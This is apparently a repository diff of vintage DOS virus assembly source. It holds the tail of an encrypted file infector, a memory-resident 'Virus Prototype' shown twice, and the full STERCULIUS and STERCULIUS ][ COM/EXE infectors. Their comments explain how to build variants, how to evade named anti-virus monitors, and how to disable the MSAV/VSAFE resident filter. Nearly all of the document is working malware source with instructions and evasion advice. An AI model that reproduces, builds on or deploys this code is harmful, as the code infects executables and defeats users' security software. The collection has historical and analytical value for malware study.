rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
fake_msg db "Fuck you, I'm on strike! $"
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+198
View File
@@ -0,0 +1,198 @@
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;± ±
;± V I R U S P R O T O T Y P E ±
;± ±
;± Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ±
;± Date : 25 Jan 1991 21:05 ±
;± Function : Found DOS stack in put himself in it. Then trace DOS ±
;± function EXEC and type 'Infect File' ±
;± ±
;± ±
;± If you want to have fun with this program just run file STACK.COM ±
;± Don't worry, this is not a virus yet, just try to find him in memory ±
;± with PCTools and/or MAPMEM. If you can -> just erase the source - it is ±
;± useless for you. If you can't -> you don't have to look at it - it is too ±
;± difficult to you to understand it. ±
;± Best regards, Waleri Todorov ±
;± ±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov ah,52h ; Get DOS segmenty
int 21h
cmp ax,1234h ; Also check for already here
jne Install ; If not -> install in memory
ReturnControl
int 20h ; This program will give control
; to main file
Install
mov ax,es ; mov DOS segment in AX
mov DosSeg,ax ; Save DOS segment for further usage
mov ds,ax ; DS now point in DOS segment
call SearchDos ; Search DOS entry point
call SearchStack ; Search DOS stack
push cs ; DS=ES=CS
push cs
pop ds
pop es
mov ax,DosSeg ; get DOS segment in AX
mov cl,4 ; AX*=16
shl ax,cl
mov bx,StackOff ; Stack new begin in BX
and bx,0FFF0h ; Mask low 4 bit
add ax,bx ; Compute new real address
mov cl,4 ; AX/=16
shr ax,cl ; Now we get SEGMENT:0000
sub ax,10h ; Segment-=10-> SEG:100h
mov StackOff,ax ; Save new segment for further usage
mov es,ax ; ES point in DOS New area
mov si,100h ; ES:DI -> DOS:free_space_in_stack
mov di,si ; DS:SI Current segment
mov cx,512d ; Virus is only 512 bytes long
rep movsb ; Move virus to new place
; Installing virus in DOS' stack we will avoid a conflict with PCTools,
; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
; affected, so if you have program, that count DOS' buffers to found
; Beast666, she won't found anything.
; In further release of full virus I will include anti-debugger system,
; so you will not be able to trace virus
mov di,DosOff ; ES:DI point to DOS int21 entry point
mov ax,DosSeg
mov es,ax
mov al,0EAh ; JMP XXXX:YYYY
stosb
mov ax,offset Entry21
stosw ; New 21 handler's offset
mov ax,StackOff
stosw ; New 21 handler's segment
; Now DOS will make far jump to virus. In case that virus won't
; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
; and DOSEDIT will operate correctly (with several virus he don't).
inc di
inc di
mov Int21off,di ; Virus will call DOS after jump
jmp ReturnControl ; Return control to file
; At this moment, return control is just terminate program via int 20h.
; In further release of full virus this subroutine will be able to
; return control to any file (COM or EXE).
; These are two scanners subroutine. All they do are scanning DOS segment
; for several well-known bytes. Then they update some iternal variables.
; Be patience, when debug this area!
SearchDos
mov ax,cs:[DosSeg]
mov ds,ax
xor si,si
Search1
lodsw
cmp ax,3A2Eh
je NextDos1
dec si
jmp short Search1
NextDos1
lodsb
cmp al,26h
je LastDos
sub si,2
jmp short Search1
LastDos
inc si
inc si
lodsb
cmp al,77h
je FoundDos
sub si,5
jmp short Search1
FoundDos
inc si
mov cs:[Int21off],si
sub si,7
mov cs:[DosOff],si
ret
SearchStack
xor si,si
Search2
lodsw
cmp ax,0CB8Ch
je NextStack1
dec si
jmp short Search2
NextStack1
lodsw
cmp ax,0D38Eh
je NextStack2
sub si,3
jmp short Search2
NextStack2
lodsb
cmp al,0BCh
je FoundStack
sub si,4
jmp short Search2
FoundStack
mov di,si
lodsw
sub ax,200h
stosw
mov cs:[StackOff],ax
ret
Entry21 ; Here is new int 21 handler
cmp ah,52h ; If GET_LIST_OF_LISTS
jne NextCheck
mov ax,1234h ; then probably I am here
mov bx,cs:[DosSeg] ; so return special bytes in AX
mov es,bx
mov bx,26h
iret ; Terminate AH=52h->return to caller
NextCheck
cmp ax,4B00h ; If EXEC file
jne GoDos
call Infect ; then file will be infected
GoDos
jmp dword ptr cs:[Int21off]
; Otherwise jump to DOS
Infect
push ds ; At this moment just write on screen
push dx
push ax
push cs
pop ds
mov dx,offset Txt
mov ah,9
CallDos
pushf ; Call real DOS
call dword ptr cs:[Int21off]
pop ax
pop dx
pop ds
ret
Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus
DosSeg dw 0 ; DOS segment
StackOff dw 0 ; Offset of stack/New segment
DosOff dw 0 ; Offset of DOS 21 BEFIRE jump
Txt db 'Infect File$' ; Dummy text

@@ -0,0 +1,174 @@
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;± ±
;± V I R U S P R O T O T Y P E ±
;± ±
;± Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ±
;± Date : 25 Jan 1991 21:05 ±
;± Function : Found DOS stack in put himself in it. Then trace DOS ±
;± function EXEC and type 'Infect File' ±
;± ±
;± ±
;± If you want to have fun with this program just run file STACK.COM ±
;± Don't worry, this is not a virus yet, just try to find him in memory ±
;± with PCTools and/or MAPMEM. If you can -> just erase the source - it is ±
;± useless for you. If you can't -> you don't have to look at it - it is too ±
;± difficult to you to understand it. ±
;± Best regards, Waleri Todorov ±
;± ±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov ah,52h ; Get DOS segmenty
int 21h
cmp ax,1234h ; Also check for already here
jne Install ; If not -> install in memory
ReturnControl
int 20h ; This program will give control
; to main file
Install
mov ax,es ; mov DOS segment in AX
mov DosSeg,ax ; Save DOS segment for further usage
mov ds,ax ; DS now point in DOS segment
call SearchDos ; Search DOS entry point
call SearchStack ; Search DOS stack
push cs ; DS=ES=CS
push cs
pop ds
pop es
mov ax,DosSeg ; get DOS segment in AX
mov cl,4 ; AX*=16
shl ax,cl
mov bx,StackOff ; Stack new begin in BX
and bx,0FFF0h ; Mask low 4 bit
add ax,bx ; Compute new real address
mov cl,4 ; AX/=16
shr ax,cl ; Now we get SEGMENT:0000
sub ax,10h ; Segment-=10-> SEG:100h
mov StackOff,ax ; Save new segment for further usage
mov es,ax ; ES point in DOS New area
mov si,100h ; ES:DI -> DOS:free_space_in_stack
mov di,si ; DS:SI Current segment
mov cx,512d ; Virus is only 512 bytes long
rep movsb ; Move virus to new place
; Installing virus in DOS' stack we will avoid a conflict with PCTools,
; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
; affected, so if you have program, that count DOS' buffers to found
; Beast666, she won't found anything.
; In further release of full virus I will include anti-debugger system,
; so you will not be able to trace virus
mov di,DosOff ; ES:DI point to DOS int21 entry point
mov ax,DosSeg
mov es,ax
mov al,0EAh ; JMP XXXX:YYYY
stosb
mov ax,offset Entry21
stosw ; New 21 handler's offset
mov ax,StackOff
stosw ; New 21 handler's segment
; Now DOS will make far jump to virus. In case that virus won't
; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
; and DOSEDIT will operate correctly (with several virus he don't).
inc di
inc di
mov Int21off,di ; Virus will call DOS after jump
jmp ReturnControl ; Return control to file
; At this moment, return control is just terminate program via int 20h.
; In further release of full virus this subroutine will be able to
; return control to any file (COM or EXE).
; These are two scanners subroutine. All they do are scanning DOS segment
; for several well-known bytes. Then they update some iternal variables.
; Be patience, when debug this area!
SearchDos
mov ax,cs:[DosSeg]
mov ds,ax
xor si,si
Search1
lodsw
cmp ax,3A2Eh
je NextDos1
dec si
jmp short Search1
NextDos1
lodsb
cmp al,26h
je LastDos
sub si,2
jmp short Search1
LastDos
inc si
inc si
lodsb
cmp al,77h
je FoundDos
sub si,5
jmp short Search1
FoundDos
inc si
mov cs:[Int21off],si
sub si,7
mov cs:[DosOff],si
ret
SearchStack
xor si,si
Search2
lodsw
cmp ax,0CB8Ch
je NextStack1
dec si
jmp short Search2
NextStack1
lodsw
cmp ax,0D38Eh
je NextStack2
sub si,3
jmp short Search2
NextStack2
lodsb
cmp al,0BCh
je FoundStack
sub si,4
jmp short Search2
FoundStack
mov di,si
lodsw
sub ax,200h
stosw
mov cs:[StackOff],ax
ret
Entry21 ; Here is new int 21 handler
cmp ah,52h ; If GET_LIST_OF_LISTS
jne NextCheck
mov ax,1234h ; then probably I am here
mov bx,cs:[DosSeg] ; so return special bytes in AX
mov es,bx
mov bx,26h
iret ; Terminate AH=52h->return to caller
NextCheck
cmp ax,4B00h ; If EXEC file
jne GoDos
call Infect ; then file will be infected
GoDos
jmp dword ptr cs:[Int21off]
; Otherwise jump to DOS
Infect
push ds ; At this moment just write on screen
push dx
push ax
push cs
pop ds
mov dx,offset Txt
mov ah,9
CallDos
pushf ; Call real DOS
call dword ptr cs:[Int21off]
pop ax
pop dx
pop ds
ret
Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus
DosSeg dw 0 ; DOS segment
StackOff dw 0 ; Offset of stack/New segment
DosOff dw 0 ; Offset of DOS 21 BEFIRE jump
Txt db 'Infect File$' ; Dummy text
File diff suppressed because it is too large Load Diff
+517
View File
@@ -0,0 +1,517 @@
comment $
STERCULIUS ][ VIRUS
This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
I have made some changes, in particular STERCULIUS ][ now infects
EXE files as well as COM files.
The procedure to infect EXE files is rather simple:
Sterculius installs itself and its INT 21h handler in the memory
'hole' located after the interrupt vector table (reference:
CRYPT #18). The INT 21h handler checks when a file is executed;
then it opens it and determines whether it is a COM or an EXE
file by checking for a 'MZ' or 'ZM' at the beginning of the file.
After the nature of the file has been determined, the virus proceeds
to read to EXE header and to modify the entry point field (CS:IP)
and the size of the load module/file (how many bytes get loaded from
the file to memory) on the header.
Then, infection takes place and the new EXE header is written to
the file.
Note that no change is made to the stack segment and the offset of
the original EXE infected file (SS:SP); in other words the virus
does not have its own stack segment and offset. I considered this
to be unnecessary since all well written EXE programs have a stack
segment (SS) far up in memory from the code segment (CS). The
danger of the virus corrupting itself when using the stack is
non-existent, considering the size of the virus and the fact that
on the installation part of STERCULIUS ][ the stack is barely used.
The challenge when writing this 'upgrade' was to keep the code small
enough so it would work properly not corrupt the BIOS data
loaded by IO.SYS / IBMIO.SYS at segment 0040.
Some original features of STERCULIUS have been commented out, to
downsize the code, but in most cases the virus will work perfectly
if they are included.
Here is how to make you own STERCULIUS ][ variant:
Variant 1:
Uncomment (take out the ';' before the instructions)
in the following labeled parts:
Save Attributes
Restore Attributes
Compile and link.
Variant 2:
Uncomment the following labeled parts:
Save Date and time
Restore Date and Time
Compile and link.
Variant 3:
Uncomment the following labeled parts:
Save Date and time
Restore Date and Time
Save Attributes
Restore Attributes
Compile and link.
Khntark.
$
;*****************************************************************************
; STERCULIUS ][ VIRUS
;
; AUTHOR: K”hntark
; DATE: SEPTEMBER 1993
; Memory Resident COM, EXE infector
;
; Success: F-prot 2.09D - VIRSTOP
; VIREX 2.8
; MSAV - will give warning, if 'continue' is pressed the
; all infections will go undetected
; -D -will install but -D will regain control of the INT 21
; TBMEM 6.05 - will crash as it installs some instructions in the
; middle of the hole where Sterculius ][ resides
;
;
;*****************************************************************************
.model tiny
.code
org 100h
START:
db 0E9h,03,00,'S' ;Jump to Virus_Entry / infection ID
FAKE_HOST:
int 20h ;host file terminate
;-----------------------------------------------------------------------------
VIRUS_ENTRY:
call INITIALIZE
F_NAME: db 'STERCULIUS ][' ;The Roman god of feces
INITIALIZE:
pop si
sub si,3
push es ;save original ES
push ds ;save original DS
push cs ;fix DS and ES
push cs
pop es ;ES=CS
pop ds ;DS=CS
mov bp,si ;save si
cmp WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
jne EXE_SKIP
;*****************
; Restore host
;*****************
cld
lea si,[si + HOST_STUB - VIRUS_ENTRY]
mov di,0100h
movsw ;from ds:si to es:di
movsw
mov si,bp ;restore si
EXE_SKIP:
;***************************
; Check if already resident
;***************************
xor ax,ax ;AX=00
mov es,ax ;ES=00
mov di,01E0h
cmp WORD PTR es:[di + 3],'TS'
je EXIT
mov cx,ZIZE
rep movsb ;move virus to 0000:01E0 from ds:si to es:di
;***********************
; Mov INT 21 address
;***********************
sub di,08 ;position destination pointer at REAL_INT_21
mov si,21h * 4
mov ds,ax ;ds=0
movsw ;from ds:si to es:di
movsw
;***********************
; Hook INT 21
;***********************
mov di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
cli ;disable interrupts
mov WORD PTR [si - 4],di ;address of INT 21 handler
mov WORD PTR [si - 2],ax
sti ;enable interrupts
EXIT:
pop ds ;restore original ES
pop es ;restore original ES
cmp WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
jne EXE_RETURN
mov ax,0100h
push ax
ret ;return to host
EXE_RETURN:
mov bx,ds
add bx,low 10h
mov cx,bx
add cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
push cx
push WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
db 0CBh ;retf
;----------------------------------------------------------------------------
CSIP:
dd 0
EXE_FLAG:
dw 0
NEW_HOST_ENTRY:
db 0E9h,00,00,'S'
INT_21:
pushf
call DWORD PTR cs:[REALL_INT_21]
ret
QUICK_EXIT: jmp QUICK_OUT
RESTORE_ATTRIBUTES: jmp RESTORE_ATTRIBUTESS
CLOSE_FILE: jmp CLOSE_FILEE
;----------------------------------------------------------------------------
INT_21_HANDLER:
cmp ah,4Bh ;execute a file?
jne QUICK_EXIT ;quick exit handler
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push bp
pushf
push cs
pop es ;ES=CS
;***********************
; 1-Save Attributes
;***********************
; mov ax,4300h
; call INT_21
; push cx ;save attributes to stack
; push ds
; push dx ;ds:dx = pathname to file
;***********************
; 2-Klear Attributes
;***********************
xor cx,cx
mov ax,4301h
call INT_21
jc QUICK_EXIT
;***********************
; 3-Open File
;***********************
mov ax,3D02h
call INT_21
jc RESTORE_ATTRIBUTES
xchg bx,ax ;file handle to bx
;***********************
; 4-Save Date & time
;***********************
;mov ax,5700h
;call INT_21
;push dx ;save date
;push cx ;save time
;********************************
; 5-Read 26 bytes / EXE header
;********************************
mov cx,26d ;# of bytes to read
mov dx,HOST_STUBB ;buffer to read 4 / 26 bytes to
mov si,dx
push cs
pop ds ;ds=cs
mov ah,3Fh
call INT_21 ;read to ds:dx
jc CLOSE_FILE
;***********************
; 6-Check File
;***********************
cmp WORD PTR [si],'ZM' ;EXE file?
je CHECK_EXE
cmp WORD PTR [si],'MZ' ;EXE file?
je CHECK_EXE
cmp BYTE PTR [si + 3],'S' ;infected COM file?
je CLOSE_FILE
mov di,OFFSET EXE_FLAGG ;mark COM infection
mov WORD PTR [di],00 ;COM
xor di,di
jmp short SKIP
;***********************
; 7-Check EXE
;***********************
CHECK_EXE:
cmp WORD PTR [si + 12h],ID ;infected EXE?
je CLOSE_FILE
cmp WORD PTR [si + 18h],40h ;WINDOWS EXE?
je CLOSE_FILE
; cmp WORD PTR [si + 1Ah],00 ;internal overlay EXE?
; jne CLOSE_FILE
mov di,EXE_FLAGG ;MARK EXE infection
mov WORD PTR [di],01 ;EXE
mov di,01
SKIP:
;***********************
; 8-File PTR @EOF
;***********************
mov ax,4202h
xor cx,cx
xor dx,dx ;cx = dx = 00
call INT_21
cmp di,00 ;COM?
jne DO_EXE
;------------------------------------------------------???????????????????
sub ax,03 ;fix file size
mov bp,ax ;address to jump to
jmp short WRITE_VIRUS
;***********************
; 9-SAVE CS:IP
;***********************
DO_EXE:
push bx ;save file handle
push si
push di
cld
mov di,CSIPP
add si,14h ;CS:IP in EXE hdr
movsw ;from ds:si
movsw ;to es:di
pop di
pop si
;**********************************
; 10-CALCULATE / INSERT NEW CS:IP
;**********************************
mov bx,WORD PTR [si + 8] ;header size in paragraphs
mov cl,04
shl bx,cl ;multiply by 16
push ax
push dx ;save filesize
sub ax,bx ;file size - header size
sbb dx,00 ;fix upper half of size
mov cl,0Ch
shl dx,cl ;dx * 4096
mov bx,ax
mov cl,4
shr bx,cl ;ax / 16
add dx,bx ;CS = dx * 4096 + ax / 16
and ax,0Fh ;IP = ax and 0Fh
mov WORD PTR [si + 12h],ID
mov WORD PTR [si + 14h],ax ;IP
mov WORD PTR [si + 16h],dx ;CS
pop dx
pop ax ;restore filesize
;**********************************
; 11-CALCULATE / INSERT FILESIZE
;**********************************
add ax,ZIZE ;add virus size
adc dx,00 ;add virus size
push ax
mov cl,09h ;2^9 = 512
ror dx,cl ;dx / 512
shr ax,cl ;ax / 512
stc ;set carry flag
adc dx,ax
pop cx ;original ax
and ch,01 ;mod 512
mov WORD PTR [si + 4],dx ;page count
mov WORD PTR [si + 2],cx ;remainder
pop bx ;restore file handle
;***********************
; 12-Write Virus
;***********************
WRITE_VIRUS:
mov ah,40h
mov cx,ZIZE ;cx = #of bytes
mov dx,01E0h ;dx = write from here
call INT_21
;***********************
; 13-Set PTR @BOF
;***********************
mov ax,4200h
xor cx,cx
xor dx,dx ;cx = dx = 00
call INT_21
cmp di,01 ;EXE?
je WRITE_EXE_HDR
;***********************
; 14-Write new jump
;***********************
mov cx,4 ;# of bytes to write
mov dx,NEW_HOST_ENTRYY ;dx = write from here
mov si,dx
mov WORD PTR [si + 1],bp ;insert new address
jmp short CONT
;***********************
; 15-Write new EXE hdr
;***********************
WRITE_EXE_HDR:
mov cx,24d ;# of bytes to write
mov dx,HOST_STUBB ;buffer to write 4 bytes from
CONT:
mov ah,40h
call INT_21
CLOSE_FILEE:
;*************************
; 16-Restore Date & time
;*************************
;pop cx ;restore time
;pop dx ;restore date
;mov ax,5701h
;call INT_21
;***********************
; 17-Klose File
;***********************
mov ah,3Eh
call INT_21
;************************
; 18-Restore Attributes
;************************
RESTORE_ATTRIBUTESS:
; mov ax,4301h
; pop dx ;ds:dx = pathname to file
; pop ds ;restore pathname
; pop cx ;restore old attributes
; call INT_21
;***********************
; Restore registers
;***********************
EXIT_HANDLER:
popf
pop bp
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
REAL_INT_21: db 00,00,00,00
HOST_STUB: db 90h,090h,090h,090h ;4 byte COM stub / EXE HDR
END_VIRUS:
;-----------------------------------------------------------------------------
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
CSIPP equ 01E0h + OFFSET CSIP - OFFSET VIRUS_ENTRY
EXE_FLAGG equ 01E0h + OFFSET EXE_FLAG - OFFSET VIRUS_ENTRY
ID equ 7777h
END START
@@ -0,0 +1,421 @@
comment $
STERCULIUS virus: copying a virus into the air in the interrupt
vector table - for CRYPT NEWSLETTER 18.
The STERCULIUS virus uses the 'hole' in DOS's memory that is
found after the interrupt vector table located at 0000:0000 in memory.
This hole in memory is unused much of the time and is filled with
'00''s, or "air", starting at 0000:01E0.
Using the MS-DOS program DEBUG we can take a quick look at this
empty space by typing the command:
DEBUG
d 0000:01e0
And we see:
0000:01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Not much of anything!
The LoveChild virus uses the same space and if it were present
in memory (not likely, as it barely works under DOS 3.3),
you'd see something like "v2 LoveChild in reward for software
sealing [sic]" or some similar gibber in the above display.
Sterculius copies itself to segment:offset 0000:01E0 in memory,
right next to the end of the data in the interrupt vector table,
like LoveChild and if we fire up DEBUG again once the virus
is in memory:
0000:01E0 E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE ...STERCULIUS^..
0000:01F0 03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E .V...U......^3..
0000:0200 C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90 ....&.}.STt.....
0000:0210 F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90 ..............c.
0000:0220 FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56 ..|..D.........V
0000:0230 C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3 ....SMZc........
0000:0240 E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57 .....Ku.PSQR..VW
0000:0250 55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43 U...C...Q.R3...C
Four!
Without the marker, "STERCULIUS," the virus would be difficult
for the user to see in memory for a couple of reasons:
1) Very few people actually know what system memory in the interrupt
table looks like normally,
2) It is not a place any of the current memory spies tell you to look for
viruses.
IF you scan up the rest of the table you will see the remainder of the
virus and about once again as much free space left.
That means you can fit about a 300+ byte virus into this space, plenty
of room for lots of extra code.
If you look again at the DEBUG dump you will see "MZ" -
that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of
any executed program to check if it's a suitable candidate for infection.
Sterculius stores the word and in the case of DEBUG, lets the program pass by.
If a .COMfile had just been loaded, the original program's jump would
be occupying that space.
Clear?
Now you can follow this example to make memory resident viruses that occupy
that 'hole' in memory next to the interrupt vector table.
Viruses using this method of residence aren't detected by
98% of the anti-virus guards - or virus filters - specifically designed
to detect programs which go resident. This is odd, since the technique
isn't particularly new. However, one or two anti-virus manufacturers
have taken steps in this direction, coding their memory filters so
that some of their code occupies the same general area that a virus
like STERCULIUS might use. Then again, these developers have to
deal with users who may have memory management drivers which muck
about in the same space. You see, there are always trade-offs
in this kind of work.
Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb
like INVIRCBLE, or just about any TYPICAL resident monitor.
STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
which will under optimum conditions, deinstall the Microsoft Anti-virus
resident filter.
Interesting!
Many lazy people have grown fond of McAfee Associates PROVIEW, too.
It's good for checking up on viruses in memory because it puts a
big <UNKNOWN> message on the screen when a virus is taking up space at
the top of conventional RAM.
You won't see STERCULIUS using this technique, nor will a look at where
INT 21 is pointing under PROVIEW tell the dilettante much.
Proview will show you the interrupt is still pointing into the table, where
it belongs.
You'll have to look close to see that the original address has changed!
STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
always the probability that it will crash on other multi-tasking systems
which use other memory managers.
Often, you see, they use the space where STERCULIUS resides.
If this is the case, they system will hang when STERCULIUS invades it.
You can alter this behavior by looking at the interrupt vector table on your
system and altering where STERCULIUS copies itself into memory by moving
the virus up in RAM.
Also, this method of residency has an indirect benefit.
STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
over the same memory space.
STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
with boot up. However, since COMMAND.COM overwrites the space
STERCULIUS is using at boot time, the virus is expunged from memory
on completion of system installation. Shelling anytime thereafter
reinstalls the virus. Reloading the transient portion of COMMAND.COM
doesn't interfere with the virus either.
$
;**************************************
; STERCULIUS VIRUS
;
; AUTHORS: K”hntark / Urnst Kouch
; DATE: SEPTEMBER 1993
;
;**************************************
.model tiny
.code
org 100h
START:
db 0E9h,03,00,'S' ;Jump to Virus_Entry
FAKE_HOST:
int 20h ;host file terminate
VIRUS_ENTRY:
call INITIALIZE
ID: db 'STERCULIUS' ;The Roman god of feces
;intellectual property of Mike
INITIALIZE: ;Judge, sort of, and if this
pop si ;means nothing to you, then you're
sub si,3 ;not paying attention
;*****************
; Restore host
;*****************
push si
cld
add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
mov di,0100h
movsw
movsw
pop si
;***************************
; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref]
;***************************
mov dx,5945h
mov ax,0FA01h ;AL=01 very important!
int 21h
;***************************
; Check if already resident
;***************************
xor ax,ax
mov es,ax
mov di,01E0h
cmp WORD PTR es:[di + 3],'TS'
je EXIT
mov cx,ZIZE
rep movsb ;move virus to 0000:01E0 from ds:si
;***********************
; Mov INT 21 address
;***********************
mov si,21h * 4
mov ds,ax ;ds=0
movsw ;from ds:si to es:di
movsw
;***********************
; Hook INT 21
;***********************
mov di,01E0h
add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
cli ;disable interrupts
mov WORD PTR [si - 4],di ;address of INT 21 handler
mov WORD PTR [si - 2],ax
sti ;enable interrupts
push cs
pop ds
EXIT: push cs
pop es
mov si,0100h
push si
;push 0100h ;386 code left out
ret ;return to host
;----------------------------------------------------------------------------
NEW_HOST_ENTRY:
db 0E9h,00,00,'S'
HOST_STUB:
db 090h,090h,090h,090h ;nops
INT_21:
pushf
call DWORD PTR cs:[REALL_INT_21]
ret
QUICK_EXIT: jmp QUICK_OUT
;----------------------------------------------------------------------------
INT_21_HANDLER:
cmp ah,4Bh ;execute a file?
jne QUICK_EXIT ;quick exit handler
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push bp
pushf
;***********************
; Save Attributes
;***********************
mov ax,4300h
call INT_21
jc SKIP
push cx ;save attributes to stack
push ds
push dx ;ds:dx = pathname to file
;***********************
; Klear Attributes
;***********************
xor cx,cx
mov ax,4301h
call INT_21
SKIP: jc RESTORE_ATTRIBUTES
;***********************
; Open File
;***********************
mov ax,3D02h
call INT_21
jc RESTORE_ATTRIBUTES
xchg bx,ax ;file handle to bx
;***********************
; Save Date & time
;***********************
mov ax,5700h
call INT_21
push dx ;save date
push cx ;save time
;***********************
; Read 4 bytes
;***********************
mov cx,04 ;# of bytes to read
mov dx,HOST_STUBB ;buffer to read 4 bytes to
mov si,dx
mov ah,3Fh
push cs
pop ds ;ds=cs
call INT_21 ;read to ds:dx
jc CLOSE_FILE
;***********************
; Check File
;***********************
cmp WORD PTR [si],'ZM' ;EXE file?
je CLOSE_FILE
cmp BYTE PTR [si + 3],'S' ;infected COM file?
je CLOSE_FILE
;***********************
; File PTR @EOF
;***********************
mov ax,4202h
xor cx,cx
cwd ;cx = dx = 00
call INT_21
sub ax,03 ;fix file size
xchg bp,ax ;address to jump to
add ax,ZIZE ;file + VIRUS SIZE > 64K?
jc CLOSE_FILE ;exit if so
;***********************
; Write Virus
;***********************
mov ah,40h
mov cx,ZIZE ;cx = #of bytes
mov dx,01E0h ;dx = write from here
call INT_21
;***********************
; Set PTR @BOF
;***********************
mov ax,4200h
xor cx,cx
cwd ;cx = dx = 00
call INT_21
;***********************
; Write new jump
;***********************
mov ah,40h
mov cx,4 ; # of bytes to write
mov dx,NEW_HOST_ENTRYY ;dx = write from here
mov si,dx
mov WORD PTR [si + 1],bp ;insert new address
call INT_21
CLOSE_FILE:
;***********************
; Restore Date & time
;***********************
pop cx ;restore time
pop dx ;restore date
mov ax,5701h
call INT_21
;***********************
; Klose File
;***********************
mov ah,3Eh
call INT_21
;***********************
; Restore Attributes
;***********************
RESTORE_ATTRIBUTES:
mov ax,4301h
pop dx ;ds:dx = pathname to file
pop ds ;restore pathname
pop cx ;restore old attributes
call INT_21
;***********************
; Restore registers
;***********************
EXIT_HANDLER:
popf
pop bp
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
END_VIRUS:
REAL_INT_21:
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
